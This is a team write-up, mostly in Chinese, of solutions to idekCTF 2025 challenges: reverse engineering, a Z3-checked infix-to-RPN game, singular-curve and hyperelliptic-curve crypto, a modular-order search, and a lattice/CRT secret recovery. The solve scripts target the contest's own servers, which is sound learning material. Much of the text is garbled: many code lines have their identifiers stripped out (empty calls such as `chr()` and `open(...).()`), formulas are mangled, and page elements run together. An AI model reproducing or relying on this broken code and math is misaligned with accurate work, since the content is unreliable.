idekCTF 2025 Team WriteUp
AK Cryptography!!! 大家在开赛后临时创号玩的,二进制哥们很忙,于是我们就做了一些别的题,但也遗憾在这里,只靠密码,前 24h 便来到第九名,后续没题可做了 最终 22 名,还不错 质量不错,也许值 65+ 权重 另外,本场比赛遇到不少 Golang 可能遇到的问题,并解决了 博客还在调试,图片显示可能存在问题,在寻找一个好用的对象存储 题目名称前带 签到 问卷 静态分析 $\text{decrypted}[i] = \text{encrypted}[i] \bigoplus (i * \text{0x1f}) \bigoplus (i >> 1) \bigoplus \text{0x5a}$ i * 0x1f 的计算结果会发生溢出,我们只需取其低8位即可,这和寄存器 cl 的行为一致 随后导出加密数据 使用 又出现和 CryptoCTF 类似的情况,正规子群 CN 分群看了好几次都没做出来,越南老哥薄纱了 Given a SKI combinator program (program.txt) and an interpreter, the challenge encodes the flag as bits, mapping each bit to a variable (_F0, _F1, …). Each _F{i} is set to K if the bit is 1, or (K I) if 0. The SKI expression is a sequence of similar blocks, each containing several _F… variables. The number of _F… variables in each block corresponds to a specific bit pattern. focus on the final part of Each check block has the form (((S ((S I) (K (K I)))) (K K)) … ) and inside, the number of _F… variables determines the bit pattern to check: script: 题目 其核心任务是将服务器生成的 中缀表达式(Infix Expression) 转换为 逆波兰表达式(Reverse Polish Notation, RPN)。服务器使用Z3求解器来验证玩家的转换是否正确,这意味着需要严格遵守逻辑等价性。 中缀表达式存在优先级和结合性的问题,需要括号来消除歧义。例如,$A \lor B \land C$ 究竟是 $(A \lor B) \land C$ 还是 $A \lor (B \land C)$?这取决于运算符的优先级。RPN 表达式则天然地消除了这种歧义,因为运算符的顺序严格定义了计算顺序。 本题中的表达式使用了位运算符: 下面 Exploit 的核心是 调度场算法的数学逻辑严格基于运算符的 优先级(precedence) 和 结合性(associativity)。 分词(Tokenization): 首先,将中缀表达式字符串分解成一个个独立的符号(tokens),包括数字、变量、运算符和括号。 符号流处理: 算法逐一处理每个 token,并根据其类型采取不同的行动。 操作数 (Operand): 如果 token 是一个操作数(数字或变量),直接将其发送到输出队列( 左括号 右括号 运算符 (Operator): 这是算法中最复杂的部分,它依赖于优先级规则。 清栈: 当所有 token 都处理完毕后,运算符栈中可能还有剩余的运算符。将栈中所有剩余的运算符依次弹出并发送到输出队列。 最终得到的 RPN 表达式为 通过这种方式, 赛后看官方 WriteUp,发现是一道论文题 $$ M=\begin{pmatrix} a & b\ c & d \end{pmatrix}, \qquad \begin{pmatrix}x’\y’\end{pmatrix}=M\begin{pmatrix}x\y\end{pmatrix}, $$ 其中 每次乘以一个 2×2 整数矩阵,行列式的绝对值大约在 $2^{16}$ 量级,导致坐标的位数每一步增加约 16–17 位。 $$ \operatorname{bitlen}(x_{i})\approx 256+16\cdot i. $$ 当 $i=30$ 时,位长约 $256+30\cdot 17\approx 766$ 位。 给出的 矩阵 $M$ 的逆为 $$ M^{-1}=\frac{1}{\det M} \begin{pmatrix} d & -b\ -c & a \end{pmatrix}, \qquad \det M=ad-bc. $$ 若 $(x_{k},y_{k})$ 为第 $k$ 步后的坐标,则 $$ \begin{aligned} x_{k-1} &=\frac{d,x_{k}-b,y_{k}}{\det M},\ y_{k-1} &=-\frac{c,x_{k}+a,y_{k}}{\det M}. \end{aligned} $$ 为了保持整数,必须满足 $$ \begin{cases} d,x_{k} - b,y_{k}\equiv 0\pmod{\det M},\ -a,y_{k} - c,x_{k}\equiv 0\pmod{\det M}. \end{cases} $$ 对随机的 16‑位矩阵来说,上式的同余条件出现的概率约为 $2^{-16}$ 甚至更低,因而在全部 125 条候选中几乎只能找出 唯一 能满足整除的矩阵。换言之,逆向搜索每一步都几乎唯一确定上一轮使用的 题目 本次挑战的核心在于一个自定义的、非标准的 “椭圆曲线” 密码系统。服务器没有直接给出点的坐标,而是给了两个随机点 $P_1$、$P_2$ 以及它们的和 $P_3=P_1+P_2$ 的 坐标之和(即 $x_i+y_i$)。 我们的任务是仅根据这些和,恢复出这三个点的完整坐标。 挑战代码中最关键的函数 下面是点倍加相关的代码(已作简化): $$ s = \frac{2x}{3(y-1337)^2}\pmod n $$ 对于隐式曲线 $F(x,y)=0$ 上的任意点,切线斜率满足 $$ \frac{dy}{dx}= -\frac{\partial F/\partial x}{\partial F/\partial y} $$ 把代码里得到的斜率 $s$ 与上述公式对应,可得到假设: $$ \begin{aligned} \frac{\partial F}{\partial x} &= -k\cdot 2x ,\ \frac{\partial F}{\partial y} &= k\cdot 3(y-1337)^2, \end{aligned} $$ 其中 $k$ 为常数(取 $k=-1$ 简化)。对两式分别积分得 $$ \begin{aligned} F(x,y) &= \int 2x,dx = x^2 + g(y),\ F(x,y) &= \int -3(y-1337)^2,dy = -(y-1337)^3 + h(x). \end{aligned} $$ 取常数为 0,得到 曲线方程 $$ \boxed{,x^{2} \equiv (y-1337)^{3}\pmod n,} $$ 它是一条 奇异曲线(在点 $(0,1337)$ 处有尖点),虽然不是正规椭圆曲线,但在其非奇异点仍可定义加法群。 已知三个值 $s_1,s_2,s_3$ 满足: $P_1=(x_1,y_1)$ 在曲线上且 $$ x_1+y_1 = s_1 \pmod n \quad\Rightarrow\quad y_1 = s_1 - x_1 \pmod n. $$ $P_2=(x_2,y_2)$ 同理,满足 $$ y_2 = s_2 - x_2 \pmod n. $$ $P_3=P_1+P_2 = (x_3,y_3)$ 且 $$ x_3 + y_3 = s_3 \pmod n . $$ 对每个点 $P_i$ 有两条约束: 线性关系 $$ y_i = s_i - x_i \pmod n . $$ 曲线方程 $$ x_i^{2} = (y_i-1337)^{3} \pmod n . $$ 把线性关系代入曲线方程,得到单变量三次方程 $$ \boxed{,x_i^{2} = (s_i - x_i - 1337)^{3} \pmod n,}, $$ 每个点分别对应一个方程。单独求解这三个方程虽然可行,却忽略了点加法的代数关联。脚本利用了此关联,构造更强的约束来直接求解。 核心思路:利用 结式(Resultant)消去变量,从而把多元方程系统转化为一元方程。 点 $P_1$ 的约束(代入 $y_1=s_1-x_1$) $$ E_1(x_1) ;=; x_1^{2} - (s_1 - x_1 - 1337)^{3};\equiv;0\pmod n . $$ 点 $P_2$ 的约束 $$ E_2(x_2) ;=; x_2^{2} - (s_2 - x_2 - 1337)^{3};\equiv;0\pmod n . $$ 点加法约束 设 $P_3=(x_3,y_3)$。两点相加的(简化)公式为 $$ \begin{aligned} \lambda & = \frac{y_2 - y_1}{x_2 - x_1},\ x_3 & = \lambda^{2} - x_1 - x_2,\ y_3 & = \lambda(x_1 - x_3) - y_1 . \end{aligned} $$ 代入 $y_1=s_1-x_1$, $y_2=s_2-x_2$ 并使用 $x_3+y_3=s_3$,可得到只含 $x_1,x_2$ 的多项式 $$ F(x_1,x_2)=0 . $$ 于是得到 三方程系统 $$ \begin{cases} E_1(x_1) = 0,\ E_2(x_2) = 0,\ F(x_1,x_2) = 0 . \end{cases} $$ 计算 结式,消去 $x_1$: $$ R_1(x_2)=\operatorname{resultant}\big(F(x_1,x_2),,E_1(x_1),,x_1\big) . $$ 此时 $R_1(x_2)$ 只含变量 $x_2$,它的根即为满足前两条约束的 $x_2$。 需要 $x_2$ 同时满足 $$ R_1(x_2)=0,\qquad E_2(x_2)=0 . $$ 使用 最大公约数(GCD)求公共根: $$ g(x_2)=\gcd\big(R_1(x_2),,E_2(x_2)\big) . $$ 在唯一解的情况下,$g$ 必为一次多项式 $$ g(x_2)=c,(x_2-x_{2,\text{sol}}) . $$ 于是可直接读取 $$ x_{2,\text{sol}} = \text{root}(g) . $$ 计算 $y_2 = s_2 - x_2$(模 $n$)得到 $P_2$ 完整坐标。 交换角色或再利用一次 resultant 可以求出 $x_1$ 与 $y_1$。 最后直接调用源码中的 $$ P_3 = P_1 + P_2 $$ 得到 $(x_3, y_3)$ 并验证 $x_3 + y_3 \equiv s_3\pmod n$。 从点倍加的斜率逆推出了奇异曲线方程 $$ x^{2} \equiv (y-1337)^{3}\pmod n . $$ 利用线性关系把每个点的坐标化为单变量三次方程。 构造点加法约束得到两变量多项式 $F(x_1,x_2)$。 利用结式与 GCD 消除变量,得到唯一的 $x_2$(进而得到全部点的坐标)。 这样即可仅凭 “坐标之和” 恢复出所有点的完整坐标,完成挑战。 Exploit 如下题,直接看 这道题是一个基于超椭圆曲线密码学的挑战。我们需要在一个未知的二亏格(genus 2)超椭圆曲线上,计算一个给定点的阶。 赛后知道一部分是论文,不过 SageMath 已经实现好了,而且计算方法有很多 核心分为三个步骤: 题目中的超椭圆曲线定义在有限域 $GF(p)$ 上,形式为 $y^2 = f(x)$,其中 $f(x)$ 是一个首一(monic)的5次多项式。曲线的亏格 $g = \lfloor(\deg(f)-1)/2\rfloor = \lfloor(5-1)/2\rfloor = 2$。 在超椭圆曲线的雅可比群中,元素(除子)通常用 Mumford 表示法 表示为一个二元组 $(U(x), V(x))$,其中 $U, V$ 都是多项式,且满足以下关键性质: 这个关系是恢复 $f(x)$ 的基础。我们可以通过与服务器交互,多次选择选项1,获取几个点 $P_i = (U_i, V_i)$。对于每个点,我们都得到一个关于未知多项式 $f(x)$ 的同余方程: $$f(x) \equiv V_i(x)^2 \pmod{U_i(x)}$$ 由于 $f(x)$ 的次数为5,而每个 $U_i(x)$ 的次数都为 $g=2$,我们需要足够多的同余方程来唯一确定 $f(x)$。脚本中请求了3个点,得到了一个同余方程组: $$\begin{cases} f(x) \equiv V_1(x)^2 \pmod{U_1(x)} \ f(x) \equiv V_2(x)^2 \pmod{U_2(x)} \ f(x) \equiv V_3(x)^2 \pmod{U_3(x)} \end{cases}$$ 三个模数 $U_1, U_2, U_3$ 的乘积次数为 $2+2+2=6$,大于 $f(x)$ 的次数5。因此,我们可以使用多项式中国剩余定理 (Chinese Remainder Theorem for Polynomials) 来解出这个方程组,从而唯一确定 $f(x)$。 在恢复了 $f(x)$ 后,我们就得到了曲线的完整定义。曲线的雅可比群 $J(C)$ 是一个有限阿贝尔群,其阶(即群中元素的数量)可以通过计算 Frobenius 自同态的特征多项式 $\chi_C(t)$ 得到。 雅可比群的阶 $|J(C)|$ 由下式给出: $$|J(C)| = \chi_C(1)$$ SageMath 库提供了直接计算这个多项式的函数 似乎别的函数还要再快一些,但快不了多少… 服务器最后会给出一个挑战点 $G = (G_U, G_V)$,要求我们计算它的阶。根据拉格朗日定理,点 $G$ 的阶 $\text{ord}(G)$ 必须整除群的总阶 $N$。 为了找到 $G$ 的真实阶(即满足 $k \cdot G = \mathcal{O}$ 的最小正整数 $k$,其中 $\mathcal{O}$ 是单位元),我们采用以下算法: 计算群阶 $N = |J(C)|$。 对 $N$ 进行质因数分解:$N = p_1^{e_1} p_2^{e_2} \cdots p_k^{e_k}$。 初始化一个候选阶 对每一个质因子 $p_i$,我们不断尝试用它去除 $$\text{order_candidate} \leftarrow \frac{\text{order_candidate}}{p_i}$$ 这个过程一直持续到除以 $p_i$ 后不再是单位元为止。 遍历完所有质因子后, 将这个阶发送给服务器,即可获得 flag。 懒得贴了,直接看 这题一开始思路被带偏,上来就是 $\pmod {p-1}$ 走了多少弯路 因为有爆破的成分在,我们继续 Golang VibeCoding 时要注意 Review,这里就是循环里得额外手动优化,AI 很笨,每个循环里都在做大数乘法 我们需要求出 $$ m \in [m_{\text{min}},,m_{\text{max}}] . $$ 在题目提供的 Python 脚本中, $$ \text{flag_chocolate}= (a^m+b^m)\bmod p , $$ 其中 后半段涉及 RSA 加密,但 公钥指数 $e$ 为偶数,导致 $\gcd(e,\varphi(N))\neq 1$ 且私钥不可求,暗示 RSA 部分是误导,真正的突破点在 第一部分的数论约束。 下面的分析以 Go 实现的搜索程序为出发点,说明其数学原理。 对任意整数 $x$ 与素数 $p$($p\nmid x$)有 $$ x^{p-1}\equiv 1 \pmod{p}. $$ 若整数 $x$ 在模 $p$ 下的 阶($\operatorname{ord}_p(x)$)定义为 $$ \operatorname{ord}_p(x)=\min{k>0\mid x^k\equiv 1\pmod{p}}, $$ 则 $\operatorname{ord}_p(x)$ 必是 $p-1$ 的约数。 $$ p_{\text{crypto}} = 170,829,625,398,370,252,501,980,763,763,988,409,583 . $$ $$ q = p_{\text{crypto}}-1; / ; 2 = 85,414,812,699,185,126,250,990,381,881,994,204,791 . $$ 计算可得 $$ q = \frac{p_{\text{crypto}}-1}{2}. $$ 注释 $$ \operatorname{ord}{p{\text{crypto}}}(a) = q, $$ 即 $a$ 的阶恰为 $q$。于是 $$ a^{\frac{p_{\text{crypto}}-1}{2}} \equiv 1 \pmod{p_{\text{crypto}}}. $$ 任意整数 $m$ 可写成 $$ m = k;q + r,\qquad 0\le r < q, $$ 即 $$ m \equiv r \pmod{q}. $$ 将其代入 $a^m$: $$ a^{m}=a^{kq+r}=(a^{q})^{k},a^{r}\equiv 1^{k},a^{r}\equiv a^{r}\pmod{p_{\text{crypto}}}. $$ 因此 $a^m$ 只依赖于 余数 $r = m \bmod q$。 Go 代码直接给出了 $$ r_{\text{go}} = 4,807,895,356,063,327,854,843,653,048,517,090,061 . $$ 于是核心约束化为 $$ \boxed{,m \equiv r_{\text{go}}\pmod{q},}. $$ ASCII 可打印字符范围为 $$ 32 \le \text{byte} \le 126 . $$ 因此 20 字节字符串对应的整数范围为 $$ m_{\text{min}} = \underbrace{0x20\cdots20}{20\text{ 个空格}} \qquad m{\text{max}} = \underbrace{0x7E\cdots7E}_{20\text{ 个波浪号}} $$ 我们同时需要满足 $$ \begin{cases} m = k,q + r_{\text{go}} ,\ m_{\text{min}} \le m \le m_{\text{max}} . \end{cases} $$ 代入得到关于 $k$ 的不等式 $$ m_{\text{min}} - r_{\text{go}} \le k,q \le m_{\text{max}} - r_{\text{go}} . $$ 除以 $q$ 并取整数,得到 $$ k_{\text{start}} = \left\lceil \dfrac{m_{\text{min}} - r_{\text{go}}}{q}\right\rceil, \qquad k_{\text{end}} = \left\lfloor \dfrac{m_{\text{max}} - r_{\text{go}}}{q}\right\rfloor . $$ 这正是 Go 程序中 初始化:设定 $q$ 与 $r_{\text{go}}$。 计算范围:由可打印字符计算 $m_{\text{min}},,m_{\text{max}}$,进而得到 $[k_{\text{start}},k_{\text{end}}]$。 并行遍历:将该区间划分为若干块,利用多核 CPU 并行遍历每个 $k$。 候选验证:对每个 $k$ 计算 $$ m = k,q + r_{\text{go}} . $$ 将整数 $m$ 转为 20 字节序列,检查每个字节是否落在 $[32,126]$ 区间。 输出:找到满足所有条件的唯一 $m$ 后,将其格式化为 $$ \text{idek{ \ldots }} . $$ 通过 模运算 与 阶的性质,原本看似复杂的密码学问题被化简为单一同余方程 $$ m \equiv r_{\text{go}} \pmod{q}, $$ 再结合 “可打印 20 字节字符串” 的物理约束,搜索空间被大幅缩小。 Go 实现的并行搜索遍历所有满足数论约束的候选,最终得到隐藏的 Revenge 换了更麻烦的 PoW, 糊一个解决 PoW 的代码段上去就行 后续的做法没啥区别 后面上了复仇,需要用不带复仇的 flag 解密附件,但做出这道题的哥们把脚本删了,就用他提到的函数自己写了个,挂后台不抱希望结果出了,难绷 复仇的题目依旧没什么区别,看来是按照预期解做的 diff 下发现是加了一点点判断,暂时懒得放截图了 本题可能卡时间,单纯超椭圆上运算太慢,多试试运气 也有人用格,但我不会格,于是爆!注意优化一下内存和 GoRoutine 数量即可,中间试过写jsonRPC,但 SageMath 环境下,暴露有些问题,于是还是古法 stdio…. 但显然,格更有含量,这个方案插个队 对每一次与服务器的交互(对应素数 $p_i$),服务器返回一个 16 次多项式 $$ f_i(x)=\sum_{j=0}^{16}c_{i,j}x^{j}\pmod{p_i}, $$ 其中系数 $c_{i,j}$ 大约有 640 位。 秘密 $s$(同样约 640 位)被随机嵌入在 $x^5$–$x^{11}$ 中的某个系数 $c_{i,k_i}$($k_i\in{5,\dots,11}$)上。 由于 系数大小 $\sim 2^{640}$ 远大于模数 $\sim 2^{64}$,我们可以利用这一定量差异。 选取 12 个点 $$ x=m,\quad m=1,\dots ,12, $$ 并得到对应的 12 条共享 $$ f_i(m)\equiv y_m\pmod{p_i}\qquad (m=1,\dots ,12). $$ 使用拉格朗日插值构造唯一的次数 $\le 11$ 多项式 $$ Q_i(x);,\qquad \deg Q_i\le 11, $$ 使得 $$ Q_i(m)\equiv y_m\pmod{p_i}\quad (m=1,\dots,12). $$ 其系数均在 $[0,p_i-1]$ 之内,故称为“小”多项式。 设 $$ h(x)=f_i(x)-Q_i(x). $$ 由于 $$ h(m)=f_i(m)-Q_i(m)\equiv0\pmod{p_i}\quad(m=1,\dots,12), $$ 在模 $p_i$ 意义下 $$ M(x)=\prod_{m=1}^{12}(x-m) $$ 整除 $h(x)$。在整数环里 $$ h(x)=G(x)M(x),\qquad \deg G=4, $$ 于是 $h$ 的系数向量位于由 $$ M(x),;xM(x),;x^{2}M(x),;x^{3}M(x),;x^{4}M(x) $$ 张成的 5‑维格 $L_i$ 中。 记 $q$ 为 $Q_i(x)$ 的系数向量,$h_j=c_{i,j}-q_j$ 为大系数。 对每个可能的秘密位置 $k\in{5,\dots,11}$: $$ c_{i,j}=h_j+q_j, \qquad s_{i,k}=c_{i,k}\bmod p_i . $$ 对每个素数 $p_i$(共 17 个),可得到 7(即 12‑点插值产生的 7 种)候选余数 $s_{i,k}$。 我们已经得到 17 组候选余数 ${s_{i,k}}$($i=1,\dots,17$,$k=5,\dots,11$)。 目标是从每组中选出恰好一个,利用 CRT 合成唯一的 640 位整数 $S$。 引入二进制选择变量 $$ b_{i,k}\in{0,1},\qquad \sum_{k=5}^{11}b_{i,k}=1\quad (i=1,\dots,17). $$ 则 $$ S\equiv\sum_{i=1}^{17}\sum_{k=5}^{11}b_{i,k}, s_{i,k}\pmod{p_i}\quad (i=1,\dots,17). $$ 令 $$ M=\prod_{i=1}^{17}p_i, \qquad C_i=\frac{M}{p_i}\bigl(\tfrac{M}{p_i}\bigr)^{-1}\bmod p_i, $$ 则 $$ S\equiv\sum_{i=1}^{17}\Bigl(\sum_{k=5}^{11}b_{i,k}s_{i,k}\Bigr)C_i\pmod{M}. $$ 设基准选取 $k=5$: $$ b_{i,5}=1-\sum_{k=6}^{11}b_{i,k}, $$ 代入并整理得到 $$ S=S_{0}+\sum_{i=1}^{17}\sum_{k=6}^{11}b_{i,k}, d_{i,k} - K,M, \tag{1} $$ 其中 式 (1) 中共 102 个二进制变量 $b_{i,k}$($i=1,\dots,17$,$k=6,\dots,11$)和一个整数变量 $K$。 构造 $103\times103$ 的下三角矩阵 $$ B= \begin{pmatrix} 2 & & & & & d_{1,6} \ & 2 & & & & d_{1,7} \ & & \ddots & & & \vdots\ & & & 2 & & d_{17,11}\ & & & & 1 & -M \end{pmatrix}, $$ 在该格中搜索短向量(例如使用 LLL)即可得到满足 (1) 且使 $$ 0\le S<2^{640} $$ 的解。短向量的前 102 维即为所求的 ${b_{i,k}}$,第 103 位为 $K$。 把得到的 ${b_{i,k}}$ 代入 (1) 计算 $$ S=S_{0}+\sum_{i,k}b_{i,k},d_{i,k} - K,M, $$ 即可得到原始的 640 位整数 $S$。将其转为十六进制并提交给服务器的 Verify 接口即可完成验证。 这道题目的名称 “FITM” 暗示了中间人攻击(Man-in-the-Middle),flag 也印证了这点,但我们队伍的实际解法是一种利用数论技巧和暴力搜索相结合的方法来解决一个隐藏数字问题 (Hidden Number Problem)。 我们的目标是找到一个640位的秘密整数 $S$。我们可以与一个服务器进行交互,该服务器知道一个隐藏的多项式 $P(x) = \sum_{i=5}^{11} a_i x^i$,其中系数 $a_i$ 是整数。 我们可以向服务器发送一个素数 $p$ 和12个求值点,服务器会返回多项式 $P(x)$ 在这些点上的值(模 $p$)。为了高效地恢复系数 $a_i \pmod p$,我们可以利用离散傅里叶变换 (DFT)。 具体策略是: 不是我们,是 @法里树,这种方法我真想不出来 通过这个方法,对于每一个我们选择的素数 $p_i$,我们都可以计算出该多项式的7个非零系数模 $p_i$ 的值,记为 ${c_{i,5}, c_{i,6}, \dots, c_{i,11}}$。 这是解法的核心假设:对于我们选择的任意一个素数 $p_i$,秘密整数 $S$ 模 $p_i$ 的值,恰好等于我们恢复出的7个系数模 $p_i$ 的值之一。 $$S \equiv c_{i,j} \pmod{p_i}, \quad \text{for some unknown } j \in {5, 6, \dots, 11}$$ 由于我们不知道对于每个 $p_i$, $S$ 到底对应哪一个系数,所以对于每个 $p_i$,我们都得到了一个关于 $S \pmod{p_i}$ 的候选值集合 ${c_{i,5}, \dots, c_{i,11}}$。 上述系统中的路径总数是 $7^{11} \approx 1.9 \times 10^9$,这是一个非常巨大的搜索空间。 由于计算量巨大,使用编译型语言 Go 并利用多核 CPU 进行并行计算是成功破解此题的关键。Sage 脚本负责与服务器交互和进行数论预计算,而 Go 程序则作为后台的计算引擎,负责解决组合爆炸问题。 deno 启动的 midi server 本地重现环境后,发现可以直接下载 更多在于尝试或者读 deno 源码 payload: 最后将下载下来的 midi file 上传到当前网站,借助其可视化功能,可以得到 flagidekCTF 2025 Write-ups / Challenge List
# Category Challenge Solved Points Note Attachments 1 sanity check 774 100 sanity check, simply print the flag - 2 rev constructor 371 100 Zerotistic said “Heard of constructor?” constructor.tar.gz 3 sanity survey 196 100 quick survey for feedback - 4 misc gacha-gate 144 139 nc gacha-gate.chal.idek.team 1337gacha-gate.tar.gz 5 crypto Catch 134 146 cat-themed crypto, nc catch.chal.idek.team 1337catch.tar.gz 6 rev ski 70 231 two interpreters but “using too many resources” (.𖥔 ݁ ˖⋆ ˚❆) ski.tar.gz 7 crypto Sadness ECC 65 242 “doesn’t know if it’s an elliptic curve or not” sad_ecc.tar.gz 8 crypto Happy ECC 58 259 opposite of Sadness ECC happy_ecc.tar.gz 9 web *midi visualizer 38 320 https://midi-visualizer-web.chal.idek.team midi-visualizer.tar.gz 10 crypto Diamond Ticket 37 323 Charles & chocolate factory (harder) diamond_ticket.tar.gz 12 crypto Sadness ECC - Revenge 27 362 password = flag from Sadness ECC, nc sad-ecc-revenge.chal.idek.team 1337sad_ecc_revenge.tar.gz 13 crypto Happy ECC - Revenge 26 367 password = flag from Happy ECC happy_ecc_revenge.tar.gz 16 crypto FITM 17 409 “Let me share it for you”, nc fitm.chal.idek.team 1337FITM.tar.gz * 的为赛后做出的sanity
check
survey
rev
constructor
dd 导出 42 bytedd if=./chall bs=1 skip=$((0x3040)) count=42 2>/dev/null | xxd -iExploit
def solve_flag():
"""
Applies the decryption algorithm found in the binary's constructor
function to the extracted data.
"""
# The 42 encrypted bytes from address 0x403040
encrypted_flag = [
0x33, 0x21, 0x00, 0x6d, 0x5f, 0xab, 0x86, 0xb4, 0xd4, 0x2d, 0x36, 0x3a,
0x4e, 0x90, 0x8c, 0xe3, 0xcc, 0x2e, 0x09, 0x6c, 0x49, 0xb8, 0x8f, 0xf7,
0xcc, 0x22, 0x4e, 0x4d, 0x5e, 0xb8, 0x80, 0xcb, 0xd3, 0xda, 0x20, 0x29,
0x70, 0x02, 0xb7, 0xd1, 0xb7, 0xc4
]
decrypted_flag = ""
mask32 = 0xFFFFFFFF # Used to simulate 32-bit register behavior
key1_register = 0 # Simulates the %ecx register
for i in range(42):
# The encrypted byte is loaded into the low part of a 32-bit register
encrypted_word =[]
# Key 1: The full 32-bit value of the %ecx register
key1 = key1_register
# Key 2: The loop counter right-shifted by 1
key2 = i >> 1
# constant
key3 = 0x5a
# The decryption emulates the 32-bit 'xorl' operations
decrypted_word = encrypted_word ^ key1 ^ key2 ^ key3
# The final character is the lowest byte of the result
decrypted_byte = decrypted_word & 0xFF
decrypted_flag += chr()
# The %ecx register is incremented for the next loop
key1_register = (key1_register + 0x1f) & mask32
return decrypted_flag
final_flag =()
print(f"Decrypted Flag: {}")ski
txt file from here: (((S ((S I) (K (K I)))) (K K)) _F0)) _F1)) _F2))...Exploit
import re
data = open("program.txt").()
segments = re.(r"\(\(\(S",)
pattern_map = {1: "0", 2: "01", 3: "011", 4: "0111", 5: "01111", 6: "011111"}
bits = "".([len(.(r"_F\d+",))] for in if.(r"_F\d+",))
flag = "".(chr(int([:+8], 2)) for in range(0, len(), 8) if len([:+8]) == 8)
print()misc
gacha-gate
#!/usr/bin/env python3
import contextlib
import os
import random
import re
import signal
import sys
from z3 import ArithRef, BitVec, BitVecRef, BitVecVal, Solver, simplify, unsat
WIDTH = 32
OPS = ['~', '&', '^', '|']
MAX_DEPTH = 10
FLAG = os.('FLAG', 'idek{fake_flag}')
VARS = set('iIl')
def rnd_const() ->[str,]:
v = random.()
return str(),(,)
def rnd_var() ->[str,]:
name = ''.(.(tuple(), k=10))
return name,(,)
def combine(
op: str,
left:[str,],
right:[str,] | None = None,
) ->[str,]:
if op == '~':
s_left, z_left = left
return f'(~{s_left})', ~z_left
s_l, z_l = left
s_r, z_r = right
return f'({s_l} {op} {s_r})', {
'&': z_l & z_r,
'^': z_l ^ z_r,
'|': z_l | z_r,
}[op]
def random_expr(depth: int = 0) ->[str,]:
if depth >= MAX_DEPTH or random.() < 0.1:
return random.((,))()
op = random.()
if op == '~':
return(,( + 1))
return(,( + 1),( + 1))
TOKEN_RE = re.(r'[0-9]+|[iIl]+|[~&^|]')
def parse_rpn(s: str) -> ArithRef:
tokens = TOKEN_RE.()
if not tokens:
raise ValueError('empty input')
var_cache:[str,] = {}
stack:[] = []
for t in tokens:
if t.():
stack.((int(),))
elif re.(r'[iIl]+',):
if t not in var_cache:
[] =(,)
stack.([])
elif t in OPS:
if t == '~':
if len() < 1:
raise ValueError('stack underflow')
a = stack.()
stack.(~)
else:
if len() < 2:
raise ValueError('stack underflow')
b = stack.()
a = stack.()
stack.({'&': &, '^': ^, '|': |}[])
else:
raise ValueError(f'bad token {}')
if len() != 1:
raise ValueError('malformed expression')
return[0]
def equivalent(e1:, e2:) ->[bool,]:
s =()
s.(timeout=5000)
s.(() !=())
return s.() == unsat, s
def _timeout_handler(_: int, __) -> None:
raise TimeoutError
def main() -> None:
signal.(.,)
print('lets play a game!')
for _ in range(50):
random.()
expr_str, expr_z3 =()
print(, flush=True)
signal.(5)
try:
line = sys.stdin.()
signal.(0)
except TimeoutError:
print('too slow!')
return
try:
rpn_z3 =(.())
except Exception as e:
print('invalid input:',)
return
print('let me see..')
is_eq, s =(,)
if not is_eq:
print('wrong!')
with contextlib.(BaseException):
print('counter example:',.())
return
print()
if __name__ == '__main__':
()
中缀表达式与逆波兰表达式
| (或), ^ (异或), & (与), ~ (非)。它们的优先级关系为:~ > & > ^ > |。核心算法:调度场算法 (Shunting-yard Algorithm)
shunting_yard_fix 函数,它实现了调度场算法。这个算法就像一个火车站的调度场:算法流程
((A & B) | C) 被分解为 (, (, A, &, B, ), |, C, )。output 列表)。(: 将左括号压入运算符栈(op_stack)。): 从运算符栈中不断弹出运算符并发送到输出队列,直到遇到一个左括号为止。然后弹出这个左括号,但不会发送到输出队列。&)在低优先级的运算符(例如 |)之前被处理。示例:
((A & B) | C) 的转换过程Token op_stackoutput解释 ([[]压入左括号 ([(][]再次压入左括号 A[ ( ( ][A]操作数,直接输出 &[ ( ( & ][A]运算符,压栈 B[ ( ( & ][A, B]操作数,直接输出 )[ ( ( ][A, B, &]遇到右括号,弹出栈顶直到左括号 |[ ( | ][A, B, &]运算符,压栈 C[ ( | ][A, B, &, C]操作数,直接输出 )[ ( ][A, B, &, C, |]遇到右括号,弹出栈顶直到左括号 (结束) [][A, B, &, C, |]清空栈,得到最终结果 A B & C |,与中缀表达式的逻辑等价。shunting_yard_fix 函数将中缀表达式的结构和优先级信息,精确地映射到了 RPN 表达式的顺序中。这是一种严谨的数学转换,确保了表达式的逻辑等价性,从而满足了服务器Z3求解器的验证要求。
#!/usr/bin/env python3
from pwn import *
import re
# remote connection
HOST = 'gacha-gate.chal.idek.team'
PORT = 1337
# Operator precedence and associativity
# Precedence: `~` (highest) > `&` > `^` > `|` (lowest)
# All are left-associative except for `~`, which is unary
OP_PRECEDENCE = {'~': 3, '&': 2, '^': 1, '|': 0}
# Associativity: L for left-associative, R for right-associative (not needed here)
OP_ASSOCIATIVITY = {'&': 'L', '^': 'L', '|': 'L'}
def shunting_yard_fix(infix_expr: str) -> str:
"""
Correctly converts an infix expression to RPN using the Shunting-yard algorithm.
This version handles operator precedence and parentheses correctly.
"""
output = []
op_stack = []
# Regex to tokenize the expression: numbers, variables, operators, and parentheses
# Note: the `|` operator is a bitwise OR, not a regex OR
tokens = re.(r'[0-9]+|[iIl]+|[~&^|]|[()]',)
# Simple state machine to distinguish unary `~`
# The server always formats it as `(~...)`, so `~` is always followed by `(`
# We can rely on this predictable format.
for token in tokens:
if token.() or re.(r'[iIl]+',):
output.()
elif token == '(':
op_stack.()
elif token == ')':
while op_stack and[-1] != '(':
output.(.())
if op_stack and[-1] == '(':
op_stack.() # Pop the left parenthesis
else:
raise ValueError("Mismatched parentheses")
elif token in OP_PRECEDENCE:
while (op_stack and[-1] in OP_PRECEDENCE and
[[-1]] >=[]):
output.(.())
op_stack.()
else:
raise ValueError(f"Unknown token: {}")
while op_stack:
if[-1] == '(':
raise ValueError("Mismatched parentheses")
output.(.())
# For the unary `~`, the server formats it as `(~A)`.
# Our algorithm will generate `A ~`.
# Let's adjust for the fact that the server `~` is always unary.
# The `combine` function in server code handles `~` as a unary operator.
# We will treat it as a unary postfix operator in RPN.
# The above algorithm handles it correctly as long as `~` is treated as an operator
# with high precedence. The `pop from empty list` error indicates the stack
# was empty *before* a binary op, not `~`. Let's re-verify the logic.
# A standard Shunting-yard algorithm should handle this.
# A key observation: the server expression is always fully parenthesized.
# `(A op B)` or `(~A)`. This means we can use a simpler stack-based parser
# that doesn't need to handle complex precedence rules, as the parentheses
# already define the order of operations.
# Let's try a stack-based parser specifically for fully parenthesized expressions.
stack = []
for token in tokens:
if token.() or re.(r'[iIl]+',):
stack.()
elif token == '~':
# This is a unary operator, it will operate on the next operand
# In RPN, it becomes `operand ~`
# For `(~...)`, we will push `~` to stack and pop it after the operand is processed
